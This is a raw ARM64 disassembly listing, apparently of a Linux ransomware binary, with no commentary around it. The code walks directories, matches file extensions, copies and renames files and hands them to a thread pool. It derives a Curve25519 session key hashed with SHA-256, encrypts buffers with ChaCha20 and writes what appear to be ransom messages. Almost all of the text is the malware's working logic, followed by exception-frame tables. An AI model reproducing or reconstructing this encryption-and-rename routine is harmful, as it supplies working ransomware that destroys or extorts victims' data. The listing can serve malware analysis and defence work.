    0040733cbl strcat@plt
    00407340ldr x0, [sp+72]
    00407344add x2, x0, 19
    00407348adrp x0, 0x13000
    0040734cadd x1, x0, 528
    00407350mov x0, x2
    00407354bl file_ext_find
    00407358str w0, [sp+68]
    0040735cldr w0, [sp+68]
    00407360subs wzr, w0, 0
    00407364b.ne 0x4073a0
    00407368ldr x0, [sp+88]
    0040736cbl copy_path
    00407370str x0, [sp+56]
    00407374ldr x0, [sp+56]
    00407378subs xzr, x0, 0
    0040737cb.eq 0x4073a0
    00407380ldr x0, [sp+56]
    00407384bl file_rename
    00407388str x0, [sp+56]
    0040738cldr x2, [sp+56]
    00407390adrp x0, 0
    00407394add x1, x0, 20
    00407398ldr x0, [sp+32]
    0040739cbl thpool_add_work
    004073a0
    004073a0loc_4073a0:
    004073a0hint
    004073a4
    004073a4loc_4073a4:
    004073a4ldr x0, [sp+80]
    004073a8bl readdir@plt
    004073acstr x0, [sp+72]
    004073b0ldr x0, [sp+72]
    004073b4subs xzr, x0, 0
    004073b8b.ne 0x40723c
    004073bcldr x0, [sp+80]
    004073c0bl closedir@plt
    004073c4
    004073c4loc_4073c4:
    004073c4adrp x0, 0x13000
    004073c8add x0, x0, 536
    004073ccldr x1, [x0]
    004073d0adrp x0, 4096
    004073d4add x3, x0, 616
    004073d8adrp x0, 4096
    004073dcadd x2, x0, 248
    004073e0ldr x0, [sp+40]
    004073e4bl file_write_message
    004073e8adrp x0, 0x13000
    004073ecadd x0, x0, 536
    004073f0ldr x1, [x0]
    004073f4adrp x0, 4096
    004073f8add x3, x0, 624
    004073fcadrp x0, 4096
    00407400add x2, x0, 368
    00407404ldr x0, [sp+40]
    00407408bl file_write_message
    0040740cldr w0, [sp+28]
    00407410subs wzr, w0, 0
    00407414b.ne 0x407420
    00407418ldr x0, [sp+40]
    0040741cbl free@plt
    00407420
    00407420loc_407420:
    00407420ldr x0, [sp+88]
    00407424bl free@plt
    00407428b 0x407430
    0040742c
    0040742cloc_40742c:
    0040742chint
    00407430
    00407430loc_407430:
    00407430ldp x29, x30, [sp], 96
    00407434ret x30
    004071d4
    00407438
    00407438csprng:
    00407438stp x29, x30, [sp-48]!
    0040743cadd x29, sp, 0
    00407440str x0, [sp+24]
    00407444str w1, [sp+20]
    00407448adrp x0, 4096
    0040744cadd x1, x0, 952
    00407450adrp x0, 4096
    00407454add x0, x0, 960
    00407458bl fopen@plt
    0040745cstr x0, [sp+40]
    00407460ldr x0, [sp+40]
    00407464subs xzr, x0, 0
    00407468b.eq 0x40748c
    0040746cldrsw x0, [sp+20]
    00407470ldr x3, [sp+40]
    00407474mov x2, x0
    00407478movz x1, 1
    0040747cldr x0, [sp+24]
    00407480bl fread@plt
    00407484ldr x0, [sp+40]
    00407488bl fclose@plt
    0040748c
    0040748cloc_40748c:
    0040748chint
    00407490ldp x29, x30, [sp], 48
    00407494ret x30
    00407438
    00407498
    00407498session_key_get:
    00407498stp x29, x30, [sp-256]!
    0040749cadd x29, sp, 0
    004074a0str x0, [sp+40]
    004074a4str x1, [sp+32]
    004074a8str x2, [sp+24]
    004074acmovz x0, 9
    004074b0movz x1, 0
    004074b4stp x0, x1, [sp+88]
    004074b8stp xzr, xzr, [sp+104]
    004074bcadd x0, sp, 56
    004074c0movz w1, 32
    004074c4bl csprng
    004074c8ldrb w0, [sp+56]
    004074ccand w0, w0, 0xfffffff8
    004074d0and w0, w0, 255
    004074d4strb w0, [sp+56]
    004074d8ldrb w0, [sp+87]
    004074dcand w0, w0, 127
    004074e0and w0, w0, 255
    004074e4strb w0, [sp+87]
    004074e8ldrb w0, [sp+87]
    004074ecorr w0, w0, 64
    004074f0and w0, w0, 255
    004074f4strb w0, [sp+87]
    004074f8add x1, sp, 88
    004074fcadd x0, sp, 56
    00407500mov x2, x1
    00407504mov x1, x0
    00407508ldr x0, [sp+24]
    0040750cbl curve25519_donna
    00407510add x1, sp, 56
    00407514add x0, sp, 224
    00407518ldr x2, [sp+40]
    0040751cbl curve25519_donna
    00407520add x0, sp, 56
    00407524movz x2, 32
    00407528movz w1, 0
    0040752cbl memset@plt
    00407530add x0, sp, 120
    00407534bl sha256_init
    00407538add x1, sp, 224
    0040753cadd x0, sp, 120
    00407540movz w2, 32
    00407544bl sha256_hash
    00407548add x0, sp, 120
    0040754cldr x1, [sp+32]
    00407550bl sha256_done
    00407554add x0, sp, 120
    00407558movz x2, 104
    0040755cmovz w1, 0
    00407560bl memset@plt
    00407564hint
    00407568ldp x29, x30, [sp], 256
    0040756cret x30
    00407498
    00407570
    00407570buffer_crypt:
    00407570stp x29, x30, [sp-48]!
    00407574add x29, sp, 0
    00407578str x0, [sp+40]
    0040757cstr w1, [sp+36]
    00407580str x2, [sp+24]
    00407584ldr x0, [sp+24]
    00407588mov x2, x0
    0040758cldr x1, [sp+40]
    00407590ldr w0, [sp+36]
    00407594bl cc20_encrypt
    00407598hint
    0040759cldp x29, x30, [sp], 48
    004075a0ret x30
    00407570
    004075a4
    004075a4crypto_session_init:
    004075a4stp x29, x30, [sp-32]!
    004075a8add x29, sp, 0
    004075acstr x0, [sp+24]
    004075b0str x1, [sp+16]
    004075b4movz x2, 64
    004075b8movz w1, 0
    004075bcldr x0, [sp+24]
    004075c0bl memset@plt
    004075c4ldr x3, [sp+24]
    004075c8adrp x0, 0x13000
    004075ccadd x2, x0, 568
    004075d0ldr x1, [sp+16]
    004075d4mov x0, x3
    004075d8bl cc20_setkey
    004075dchint
    004075e0ldp x29, x30, [sp], 32
    004075e4ret x30
    004075a4
    004075e8
    004075e8crypto_session_close:
    004075e8stp x29, x30, [sp-32]!
    004075ecadd x29, sp, 0
    004075f0str x0, [sp+24]
    004075f4movz x2, 64
    004075f8movz w1, 0
    004075fcldr x0, [sp+24]
    00407600bl memset@plt
    00407604hint
    00407608ldp x29, x30, [sp], 32
    0040760cret x30
    004075e8
    00407610
    00407610usage:
    00407610stp x29, x30, [sp-16]!
    00407614add x29, sp, 0
    00407618movz w0, 10
    0040761cbl putchar@plt
    00407620adrp x0, 4096
    00407624add x0, x0, 976
    00407628bl puts@plt
    0040762cadrp x0, 4096
    00407630add x0, x0, 1000
    00407634bl puts@plt
    00407638movz w0, 1
    0040763cbl exit@plt
    00407610
    00407640
    00407640parse_args:
    00407640stp x29, x30, [sp-64]!
    00407644add x29, sp, 0
    00407648str w0, [sp+44]
    0040764cstr x1, [sp+32]
    00407650str x2, [sp+24]
    00407654str xzr, [sp+56]
    00407658b 0x4076a4
    0040765c
    0040765cloc_40765c:
    0040765cldr w0, [sp+52]
    00407660subs wzr, w0, 100
    00407664b.eq 0x407678
    00407668ldr w0, [sp+52]
    0040766csubs wzr, w0, 112
    00407670b.eq 0x407688
    00407674b 0x4076a0
    00407678
    00407678loc_407678:
    00407678ldr x0, [sp+24]
    0040767cmovz w1, 1
    00407680strb w1, [x0]
    00407684b 0x4076a4
    00407688
    00407688loc_407688:
    00407688adrp x0, 0x13000
    0040768cadd x0, x0, 656
    00407690ldr x1, [x0]
    00407694ldr x0, [sp+24]
    00407698str x1, [x0+8]
    0040769cb 0x4076a4
    004076a0
    004076a0loc_4076a0:
    004076a0bl usage
    004076a4
    004076a4loc_4076a4:
    004076a4adrp x0, 4096
    004076a8add x2, x0, 1072
    004076acldr x1, [sp+32]
    004076b0ldr w0, [sp+44]
    004076b4bl getopt@plt
    004076b8str w0, [sp+52]
    004076bcldr w0, [sp+52]
    004076c0adds wzr, w0, 1
    004076c4b.ne 0x40765c
    004076c8movz w0, 0
    004076ccldp x29, x30, [sp], 64
    004076d0ret x30
    00407640
    004076d4
    004076d4cc20_setkey:
    004076d4sub sp, sp, 48
    004076d8str x0, [sp+24]
    004076dcstr x1, [sp+16]
    004076e0str x2, [sp+8]
    004076e4ldr x0, [sp+8]
    004076e8str x0, [sp+32]
    004076ecldr x0, [sp+24]
    004076f0movz w1, 30821
    004076f4movk w1, 0x61700000
    004076f8str w1, [x0]
    004076fcldr x0, [sp+24]
    00407700movz w1, 25710
    00407704movk w1, 0x33200000
    00407708str w1, [x0+4]
    0040770cldr x0, [sp+24]
    00407710movz w1, 11570
    00407714movk w1, 0x79620000
    00407718str w1, [x0+8]
    0040771cldr x0, [sp+24]
    00407720movz w1, 25972
    00407724movk w1, 0x6b200000
    00407728str w1, [x0+12]
    0040772cstr wzr, [sp+44]
    00407730b 0x407764
    00407734
    00407734loc_407734:
    00407734ldrsw x0, [sp+44]
    00407738ldr x1, [sp+16]
    0040773cadd x0, x1, x0
    00407740ldr w1, [sp+44]
    00407744add w3, w1, 16
    00407748ldrb w2, [x0]
    0040774cldr x1, [sp+24]
    00407750sbfm x0, x3, 0, 31
    00407754strb w2, [x1+x0]
    00407758ldr w0, [sp+44]
    0040775cadd w0, w0, 1
    00407760str w0, [sp+44]
    00407764
    00407764loc_407764:
    00407764ldr w0, [sp+44]
    00407768subs wzr, w0, 31
    0040776cb.le 0x407734
    00407770ldr x0, [sp+24]
    00407774str wzr, [x0+48]
    00407778ldr x0, [sp+24]
    0040777cstr wzr, [x0+52]
    00407780ldr x0, [sp+32]
    00407784ldr w1, [x0]
    00407788ldr x0, [sp+24]
    0040778cstr w1, [x0+56]
    00407790ldr x0, [sp+32]
    00407794ldr w1, [x0+4]
    00407798ldr x0, [sp+24]
    0040779cstr w1, [x0+60]
    004077a0hint
    004077a4add sp, sp, 48
    004077a8ret x30
    004076d4
    004077ac
    004077acchacha_permute:
    004077acsub sp, sp, 48
    004077b0str x0, [sp+8]
    004077b4strh w1, [sp+6]
    004077b8ldr x0, [sp+8]
    004077bcstr x0, [sp+40]
    004077c0ldrh w0, [sp+6]
    004077c4and w0, w0, 15
    004077c8str w0, [sp+36]
    004077ccldrh w0, [sp+6]
    004077d0ubfm w0, w0, 4, 31
    004077d4and w0, w0, 65535
    004077d8and w0, w0, 15
    004077dcstr w0, [sp+32]
    004077e0ldrh w0, [sp+6]
    004077e4ubfm w0, w0, 8, 31
    004077e8and w0, w0, 65535
    004077ecand w0, w0, 15
    004077f0str w0, [sp+28]
    004077f4ldrh w0, [sp+6]
    004077f8ubfm w0, w0, 12, 31
    004077fcand w0, w0, 65535
    00407800and w0, w0, 15
    00407804str w0, [sp+24]
    00407808ldr w0, [sp+36]
    0040780cubfm x0, x0, 62, 61
    00407810ldr x1, [sp+40]
    00407814add x0, x1, x0
    00407818ldr w2, [x0]
    0040781cldr w0, [sp+32]
    00407820ubfm x0, x0, 62, 61
    00407824ldr x1, [sp+40]
    00407828add x0, x1, x0
    0040782cldr w1, [x0]
    00407830ldr w0, [sp+36]
    00407834ubfm x0, x0, 62, 61
    00407838ldr x3, [sp+40]
    0040783cadd x0, x3, x0
    00407840add w1, w2, w1
    00407844str w1, [x0]
    00407848ldr w0, [sp+24]
    0040784cubfm x0, x0, 62, 61
    00407850ldr x1, [sp+40]
    00407854add x0, x1, x0
    00407858ldr w1, [x0]
    0040785cldr w0, [sp+36]
    00407860ubfm x0, x0, 62, 61
    00407864ldr x2, [sp+40]
    00407868add x0, x2, x0
    0040786cldr w0, [x0]
    00407870eor w1, w1, w0
    00407874ldr w0, [sp+24]
    00407878ubfm x0, x0, 62, 61
    0040787cldr x2, [sp+40]
    00407880add x0, x2, x0
    00407884extr w1, w1, w1, 16
    00407888str w1, [x0]
    0040788cldr w0, [sp+28]
    00407890ubfm x0, x0, 62, 61
    00407894ldr x1, [sp+40]
    00407898add x0, x1, x0
    0040789cldr w2, [x0]
    004078a0ldr w0, [sp+24]
    004078a4ubfm x0, x0, 62, 61
    004078a8ldr x1, [sp+40]
    004078acadd x0, x1, x0
    004078b0ldr w1, [x0]
    004078b4ldr w0, [sp+28]
    004078b8ubfm x0, x0, 62, 61
    004078bcldr x3, [sp+40]
    004078c0add x0, x3, x0
    004078c4add w1, w2, w1
    004078c8str w1, [x0]
    004078ccldr w0, [sp+32]
    004078d0ubfm x0, x0, 62, 61
    004078d4ldr x1, [sp+40]
    004078d8add x0, x1, x0
    004078dcldr w1, [x0]
    004078e0ldr w0, [sp+28]
    004078e4ubfm x0, x0, 62, 61
    004078e8ldr x2, [sp+40]
    004078ecadd x0, x2, x0
    004078f0ldr w0, [x0]
    004078f4eor w1, w1, w0
    004078f8ldr w0, [sp+32]
    004078fcubfm x0, x0, 62, 61
    00407900ldr x2, [sp+40]
    00407904add x0, x2, x0
    00407908extr w1, w1, w1, 20
    0040790cstr w1, [x0]
    00407910ldr w0, [sp+36]
    00407914ubfm x0, x0, 62, 61
    00407918ldr x1, [sp+40]
    0040791cadd x0, x1, x0
    00407920ldr w2, [x0]
    00407924ldr w0, [sp+32]
    00407928ubfm x0, x0, 62, 61
    0040792cldr x1, [sp+40]
    00407930add x0, x1, x0
    00407934ldr w1, [x0]
    00407938ldr w0, [sp+36]
    0040793cubfm x0, x0, 62, 61
    00407940ldr x3, [sp+40]
    00407944add x0, x3, x0
    00407948add w1, w2, w1
    0040794cstr w1, [x0]
    00407950ldr w0, [sp+24]
    00407954ubfm x0, x0, 62, 61
    00407958ldr x1, [sp+40]
    0040795cadd x0, x1, x0
    00407960ldr w1, [x0]
    00407964ldr w0, [sp+36]
    00407968ubfm x0, x0, 62, 61
    0040796cldr x2, [sp+40]
    00407970add x0, x2, x0
    00407974ldr w0, [x0]
    00407978eor w1, w1, w0
    0040797cldr w0, [sp+24]
    00407980ubfm x0, x0, 62, 61
    00407984ldr x2, [sp+40]
    00407988add x0, x2, x0
    0040798cextr w1, w1, w1, 24
    00407990str w1, [x0]
    00407994ldr w0, [sp+28]
    00407998ubfm x0, x0, 62, 61
    0040799cldr x1, [sp+40]
    004079a0add x0, x1, x0
    004079a4ldr w2, [x0]
    004079a8ldr w0, [sp+24]
    004079acubfm x0, x0, 62, 61
    004079b0ldr x1, [sp+40]
    004079b4add x0, x1, x0
    004079b8ldr w1, [x0]
    004079bcldr w0, [sp+28]
    004079c0ubfm x0, x0, 62, 61
    004079c4ldr x3, [sp+40]
    004079c8add x0, x3, x0
    004079ccadd w1, w2, w1
    004079d0str w1, [x0]
    004079d4ldr w0, [sp+32]
    004079d8ubfm x0, x0, 62, 61
    004079dcldr x1, [sp+40]
    004079e0add x0, x1, x0
    004079e4ldr w1, [x0]
    004079e8ldr w0, [sp+28]
    004079ecubfm x0, x0, 62, 61
    004079f0ldr x2, [sp+40]
    004079f4add x0, x2, x0
    004079f8ldr w0, [x0]
    004079fceor w1, w1, w0
    00407a00ldr w0, [sp+32]
    00407a04ubfm x0, x0, 62, 61
    00407a08ldr x2, [sp+40]
    00407a0cadd x0, x2, x0
    00407a10extr w1, w1, w1, 25
    00407a14str w1, [x0]
    00407a18hint
    00407a1cadd sp, sp, 48
    00407a20ret x30
    004077ac
    00407a24
    00407a24cc20_stream:
    00407a24stp x29, x30, [sp-64]!
    00407a28add x29, sp, 0
    00407a2cstr x0, [sp+24]
    00407a30str x1, [sp+16]
    00407a34movn w0, 14271
    00407a38strh w0, [sp+40]
    00407a3cmovn w0, 9902
    00407a40strh w0, [sp+42]
    00407a44movn w0, 5533
    00407a48strh w0, [sp+44]
    00407a4cmovn w0, 1164
    00407a50strh w0, [sp+46]
    00407a54movn w0, 1455
    00407a58strh w0, [sp+48]
    00407a5cmovn w0, 13470
    00407a60strh w0, [sp+50]
    00407a64movn w0, 10125
    00407a68strh w0, [sp+52]
    00407a6cmovn w0, 5820
    00407a70strh w0, [sp+54]
    00407a74str wzr, [sp+60]
    00407a78b 0x407aa0
    00407a7c
    00407a7cloc_407a7c:
    00407a7cldr x0, [sp+24]
    00407a80ldrsw x1, [sp+60]
    00407a84ldr w2, [x0+2*x1]
    00407a88ldr x0, [sp+16]
    00407a8cldrsw x1, [sp+60]
    00407a90str w2, [x0+2*x1]
    00407a94ldr w0, [sp+60]
    00407a98add w0, w0, 1
    00407a9cstr w0, [sp+60]
    00407aa0
    00407aa0loc_407aa0:
    00407aa0ldr w0, [sp+60]
    00407aa4subs wzr, w0, 15
    00407aa8b.le 0x407a7c
    00407aacstr wzr, [sp+60]
    00407ab0b 0x407afc
    00407ab4
    00407ab4loc_407ab4:
    00407ab4str wzr, [sp+56]
    00407ab8b 0x407ae4
    00407abc
    00407abcloc_407abc:
    00407abcldrsw x0, [sp+56]
    00407ac0ubfm x0, x0, 63, 62
    00407ac4add x1, sp, 40
    00407ac8ldrh w0, [x1+x0]
    00407accmov w1, w0
    00407ad0ldr x0, [sp+16]
    00407ad4bl chacha_permute
    00407ad8ldr w0, [sp+56]
    00407adcadd w0, w0, 1
    00407ae0str w0, [sp+56]
    00407ae4
    00407ae4loc_407ae4:
    00407ae4ldr w0, [sp+56]
    00407ae8subs wzr, w0, 7
    00407aecb.le 0x407abc
    00407af0ldr w0, [sp+60]
    00407af4add w0, w0, 2
    00407af8str w0, [sp+60]
    00407afc
    00407afcloc_407afc:
    00407afcldr w0, [sp+60]
    00407b00subs wzr, w0, 19
    00407b04b.le 0x407ab4
    00407b08str wzr, [sp+60]
    00407b0cb 0x407b44
    00407b10
    00407b10loc_407b10:
    00407b10ldr x0, [sp+16]
    00407b14ldrsw x1, [sp+60]
    00407b18ldr w1, [x0+2*x1]
    00407b1cldr x0, [sp+24]
    00407b20ldrsw x2, [sp+60]
    00407b24ldr w0, [x0+2*x2]
    00407b28add w2, w1, w0
    00407b2cldr x0, [sp+16]
    00407b30ldrsw x1, [sp+60]
    00407b34str w2, [x0+2*x1]
    00407b38ldr w0, [sp+60]
    00407b3cadd w0, w0, 1
    00407b40str w0, [sp+60]
    00407b44
    00407b44loc_407b44:
    00407b44ldr w0, [sp+60]
    00407b48subs wzr, w0, 15
    00407b4cb.le 0x407b10
    00407b50ldr x0, [sp+24]
    00407b54ldr x0, [x0+48]
    00407b58add x1, x0, 1
    00407b5cldr x0, [sp+24]
    00407b60str x1, [x0+48]
    00407b64hint
    00407b68ldp x29, x30, [sp], 64
    00407b6cret x30
    00407a24
    00407b70
    00407b70cc20_encrypt:
    00407b70stp x29, x30, [sp-144]!
    00407b74add x29, sp, 0
    00407b78str w0, [sp+44]
    00407b7cstr x1, [sp+32]
    00407b80str x2, [sp+24]
    00407b84ldr x0, [sp+32]
    00407b88str x0, [sp+128]
    00407b8cb 0x407c30
    00407b90
    00407b90loc_407b90:
    00407b90add x0, sp, 56
    00407b94mov x1, x0
    00407b98ldr x0, [sp+24]
    00407b9cbl cc20_stream
    00407ba0ldr w2, [sp+44]
    00407ba4ldr w1, [sp+44]
    00407ba8movz w0, 64
    00407bacsubs wzr, w2, 64
    00407bb0csel w0, w1, w0, ls
    00407bb4str w0, [sp+124]
    00407bb8str wzr, [sp+140]
    00407bbcb 0x407c00
    00407bc0
    00407bc0loc_407bc0:
    00407bc0ldr w0, [sp+140]
    00407bc4ldr x1, [sp+128]
    00407bc8add x0, x1, x0
    00407bccldrb w2, [x0]
    00407bd0ldr w0, [sp+140]
    00407bd4add x1, sp, 56
    00407bd8ldrb w1, [x1+x0]
    00407bdcldr w0, [sp+140]
    00407be0ldr x3, [sp+128]
    00407be4add x0, x3, x0
    00407be8eor w1, w2, w1
    00407becand w1, w1, 255
    00407bf0strb w1, [x0]
    00407bf4ldr w0, [sp+140]
    00407bf8add w0, w0, 1
    00407bfcstr w0, [sp+140]
    00407c00
    00407c00loc_407c00:
    00407c00ldr w1, [sp+140]
    00407c04ldr w0, [sp+124]
    00407c08subs wzr, w1, w0
    00407c0cb.lo 0x407bc0
    00407c10ldr w1, [sp+44]
    00407c14ldr w0, [sp+124]
    00407c18sub w0, w1, w0
    00407c1cstr w0, [sp+44]
    00407c20ldr w0, [sp+124]
    00407c24ldr x1, [sp+128]
    00407c28add x0, x1, x0
    00407c2cstr x0, [sp+128]
    00407c30
    00407c30loc_407c30:
    00407c30ldr w0, [sp+44]
    00407c34subs wzr, w0, 0
    00407c38b.ne 0x407b90
    00407c3chint
    00407c40hint
    00407c44ldp x29, x30, [sp], 144
    00407c48ret x30
    00407b70
    00407c4c
    00407c4c_fini:
    00407c4chint
    00407c50stp x29, x30, [sp-16]!
    00407c54add x29, sp, 0
    00407c58ldp x29, x30, [sp], 16
    00407c5cret x30
    00407c4c
    00407c60
    00407c60 string ".rodata"
    00408434
    00408434 struct EH_FRAME_HDR
    00408434 version int 1
    00408435 eh_frame_ptr_enc uint8 0x1b ; DW_EH_PE_pcrel_sdata4
    00408436 fde_count_enc uint8 0x03 ; DW_EH_PE_udata4
    00408437 table_enc uint8 0x3b ; DW_EH_PE_datarel_sdata4
    00408438 eh_frame_ptr uint32 0x408688
    0040843c fde_count int 73
    00408440
    00408440 struct EH_FRAME_HDR_ENTRY
    00408440 initial_loc uint32 0x401400
    00408444 fde uint32 0x40869c
    00408448
    00408448 struct EH_FRAME_HDR_ENTRY
    00408448 initial_loc uint32 0x401450
    0040844c fde uint32 0x4086b0
    00408450
    00408450 struct EH_FRAME_HDR_ENTRY
    00408450 initial_loc uint32 0x401480
    00408454 fde uint32 0x4086c4
    00408458
    00408458 struct EH_FRAME_HDR_ENTRY
    00408458 initial_loc uint32 0x4014bc
    0040845c fde uint32 0x4086d8
    00408460
    00408460 struct EH_FRAME_HDR_ENTRY
    00408460 initial_loc uint32 0x4014ec
    00408464 fde uint32 0x4086fc
    00408468
    00408468 struct EH_FRAME_HDR_ENTRY
    00408468 initial_loc uint32 0x4014f0
    0040846c fde uint32 0x408710
    00408470
    00408470 struct EH_FRAME_HDR_ENTRY
    00408470 initial_loc uint32 0x401748
    00408474 fde uint32 0x408730
    00408478
    00408478 struct EH_FRAME_HDR_ENTRY
    00408478 initial_loc uint32 0x40181c
    0040847c fde uint32 0x408748
    00408480
    00408480 struct EH_FRAME_HDR_ENTRY
    00408480 initial_loc uint32 0x401898
    00408484 fde uint32 0x408760
    00408488
    00408488 struct EH_FRAME_HDR_ENTRY
    00408488 initial_loc uint32 0x401908
    0040848c fde uint32 0x408778
    00408490
    00408490 struct EH_FRAME_HDR_ENTRY
    00408490 initial_loc uint32 0x40292c
    00408494 fde uint32 0x408794
    00408498
    00408498 struct EH_FRAME_HDR_ENTRY
    00408498 initial_loc uint32 0x402da8
    0040849c fde uint32 0x4087b0
    004084a0
    004084a0 struct EH_FRAME_HDR_ENTRY
    004084a0 initial_loc uint32 0x402dec
    004084a4 fde uint32 0x4087c8
    004084a8
    004084a8 struct EH_FRAME_HDR_ENTRY
    004084a8 initial_loc uint32 0x402e30
    004084ac fde uint32 0x4087e0
    004084b0
    004084b0 struct EH_FRAME_HDR_ENTRY
    004084b0 initial_loc uint32 0x40306c
    004084b4 fde uint32 0x408800
    004084b8
    004084b8 struct EH_FRAME_HDR_ENTRY
    004084b8 initial_loc uint32 0x4030c0
    004084bc fde uint32 0x408820
    004084c0
    004084c0 struct EH_FRAME_HDR_ENTRY
    004084c0 initial_loc uint32 0x403a38
    004084c4 fde uint32 0x40883c
    004084c8
    004084c8 struct EH_FRAME_HDR_ENTRY
    004084c8 initial_loc uint32 0x403a84
    004084cc fde uint32 0x40885c
    004084d0
    004084d0 struct EH_FRAME_HDR_ENTRY
    004084d0 initial_loc uint32 0x403ec4
    004084d4 fde uint32 0x408878
    004084d8
    004084d8 struct EH_FRAME_HDR_ENTRY
    004084d8 initial_loc uint32 0x403f58
    004084dc fde uint32 0x408890
    004084e0
    004084e0 struct EH_FRAME_HDR_ENTRY
    004084e0 initial_loc uint32 0x403f88
    004084e4 fde uint32 0x4088a8
    004084e8
    004084e8 struct EH_FRAME_HDR_ENTRY
    004084e8 initial_loc uint32 0x4049e8
    004084ec fde uint32 0x4088c8
    004084f0
    004084f0 struct EH_FRAME_HDR_ENTRY
    004084f0 initial_loc uint32 0x404c04
    004084f4 fde uint32 0x4088ec
    004084f8
    004084f8 struct EH_FRAME_HDR_ENTRY
    004084f8 initial_loc uint32 0x404cfc
    004084fc fde uint32 0x408904
    00408500
    00408500 struct EH_FRAME_HDR_ENTRY
    00408500 initial_loc uint32 0x404fa4
    00408504 fde uint32 0x408928
    00408508
    00408508 struct EH_FRAME_HDR_ENTRY
    00408508 initial_loc uint32 0x405320
    0040850c fde uint32 0x408948
    00408510
    00408510 struct EH_FRAME_HDR_ENTRY
    00408510 initial_loc uint32 0x4053f8
    00408514 fde uint32 0x408968
    00408518
    00408518 struct EH_FRAME_HDR_ENTRY
    00408518 initial_loc uint32 0x40547c
    0040851c fde uint32 0x408980
    00408520
    00408520 struct EH_FRAME_HDR_ENTRY
    00408520 initial_loc uint32 0x4054e0
    00408524 fde uint32 0x408998
    00408528
    00408528 struct EH_FRAME_HDR_ENTRY
    00408528 initial_loc uint32 0x4059f0
    0040852c fde uint32 0x4089b4
    00408530
    00408530 struct EH_FRAME_HDR_ENTRY
    00408530 initial_loc uint32 0x405c90
    00408534 fde uint32 0x4089d4
    00408538
    00408538 struct EH_FRAME_HDR_ENTRY
    00408538 initial_loc uint32 0x405d3c
    0040853c fde uint32 0x4089ec
    00408540
    00408540 struct EH_FRAME_HDR_ENTRY
    00408540 initial_loc uint32 0x405e50
    00408544 fde uint32 0x408a14
    00408548
    00408548 struct EH_FRAME_HDR_ENTRY
    00408548 initial_loc uint32 0x40605c
    0040854c fde uint32 0x408a38
    00408550
    00408550 struct EH_FRAME_HDR_ENTRY
    00408550 initial_loc uint32 0x406224
    00408554 fde uint32 0x408a58
    00408558
    00408558 struct EH_FRAME_HDR_ENTRY
    00408558 initial_loc uint32 0x4062b0
    0040855c fde uint32 0x408a78
    00408560
    00408560 struct EH_FRAME_HDR_ENTRY
    00408560 initial_loc uint32 0x406320
    00408564 fde uint32 0x408a98
    00408568
    00408568 struct EH_FRAME_HDR_ENTRY
    00408568 initial_loc uint32 0x406448
    0040856c fde uint32 0x408ab8
    00408570
    00408570 struct EH_FRAME_HDR_ENTRY
    00408570 initial_loc uint32 0x4064b0
    00408574 fde uint32 0x408ad8
    00408578
    00408578 struct EH_FRAME_HDR_ENTRY
    00408578 initial_loc uint32 0x4064d0
    0040857c fde uint32 0x408af0
    00408580
    00408580 struct EH_FRAME_HDR_ENTRY
    00408580 initial_loc uint32 0x4064e8
    00408584 fde uint32 0x408b08
    00408588
    00408588 struct EH_FRAME_HDR_ENTRY
    00408588 initial_loc uint32 0x4065b4
    0040858c fde uint32 0x408b28
    00408590
    00408590 struct EH_FRAME_HDR_ENTRY
    00408590 initial_loc uint32 0x406600
    00408594 fde uint32 0x408b48
    00408598
    00408598 struct EH_FRAME_HDR_ENTRY
    00408598 initial_loc uint32 0x406808
    0040859c fde uint32 0x408b68
    004085a0
    004085a0 struct EH_FRAME_HDR_ENTRY
    004085a0 initial_loc uint32 0x406828
    004085a4 fde uint32 0x408b88
    004085a8
    004085a8 struct EH_FRAME_HDR_ENTRY
    004085a8 initial_loc uint32 0x4068a0
    004085ac fde uint32 0x408ba8
    004085b0
    004085b0 struct EH_FRAME_HDR_ENTRY
    004085b0 initial_loc uint32 0x4068fc
    004085b4 fde uint32 0x408bc8
    004085b8
    004085b8 struct EH_FRAME_HDR_ENTRY
    004085b8 initial_loc uint32 0x406998
    004085bc fde uint32 0x408be8
    004085c0
    004085c0 struct EH_FRAME_HDR_ENTRY
    004085c0 initial_loc uint32 0x406a38
    004085c4 fde uint32 0x408c08
    004085c8
    004085c8 struct EH_FRAME_HDR_ENTRY
    004085c8 initial_loc uint32 0x406a64
    004085cc fde uint32 0x408c28
    004085d0
    004085d0 struct EH_FRAME_HDR_ENTRY
    004085d0 initial_loc uint32 0x406aec
    004085d4 fde uint32 0x408c48
    004085d8
    004085d8 struct EH_FRAME_HDR_ENTRY
    004085d8 initial_loc uint32 0x406b10
    004085dc fde uint32 0x408c68
    004085e0
    004085e0 struct EH_FRAME_HDR_ENTRY
    004085e0 initial_loc uint32 0x406b50
    004085e4 fde uint32 0x408c88
    004085e8
    004085e8 struct EH_FRAME_HDR_ENTRY
    004085e8 initial_loc uint32 0x406b90
    004085ec fde uint32 0x408ca8
    004085f0
    004085f0 struct EH_FRAME_HDR_ENTRY
    004085f0 initial_loc uint32 0x406be4
    004085f4 fde uint32 0x408cc8
    004085f8
    004085f8 struct EH_FRAME_HDR_ENTRY
    004085f8 initial_loc uint32 0x406c30
    004085fc fde uint32 0x408ce8
    00408600
    00408600 struct EH_FRAME_HDR_ENTRY
    00408600 initial_loc uint32 0x406cf8
    00408604 fde uint32 0x408d08
    00408608
    00408608 struct EH_FRAME_HDR_ENTRY
    00408608 initial_loc uint32 0x406d70
    0040860c fde uint32 0x408d28
    00408610
    00408610 struct EH_FRAME_HDR_ENTRY
    00408610 initial_loc uint32 0x406e84
    00408614 fde uint32 0x408d4c
    00408618
    00408618 struct EH_FRAME_HDR_ENTRY
    00408618 initial_loc uint32 0x406f18
    0040861c fde uint32 0x408d70
    00408620
    00408620 struct EH_FRAME_HDR_ENTRY
    00408620 initial_loc uint32 0x407014
    00408624 fde uint32 0x408d90
    00408628
    00408628 struct EH_FRAME_HDR_ENTRY
    00408628 initial_loc uint32 0x4071d4
    0040862c fde uint32 0x408db0
    00408630
    00408630 struct EH_FRAME_HDR_ENTRY
    00408630 initial_loc uint32 0x407438
    00408634 fde uint32 0x408dd0
    00408638
    00408638 struct EH_FRAME_HDR_ENTRY
    00408638 initial_loc uint32 0x407498
    0040863c fde uint32 0x408df0
    00408640
    00408640 struct EH_FRAME_HDR_ENTRY
    00408640 initial_loc uint32 0x407570
    00408644 fde uint32 0x408e10
    00408648
    00408648 struct EH_FRAME_HDR_ENTRY
    00408648 initial_loc uint32 0x4075a4
    0040864c fde uint32 0x408e30
    00408650
    00408650 struct EH_FRAME_HDR_ENTRY
    00408650 initial_loc uint32 0x4075e8
    00408654 fde uint32 0x408e50
    00408658
    00408658 struct EH_FRAME_HDR_ENTRY
    00408658 initial_loc uint32 0x407610
    0040865c fde uint32 0x408e70
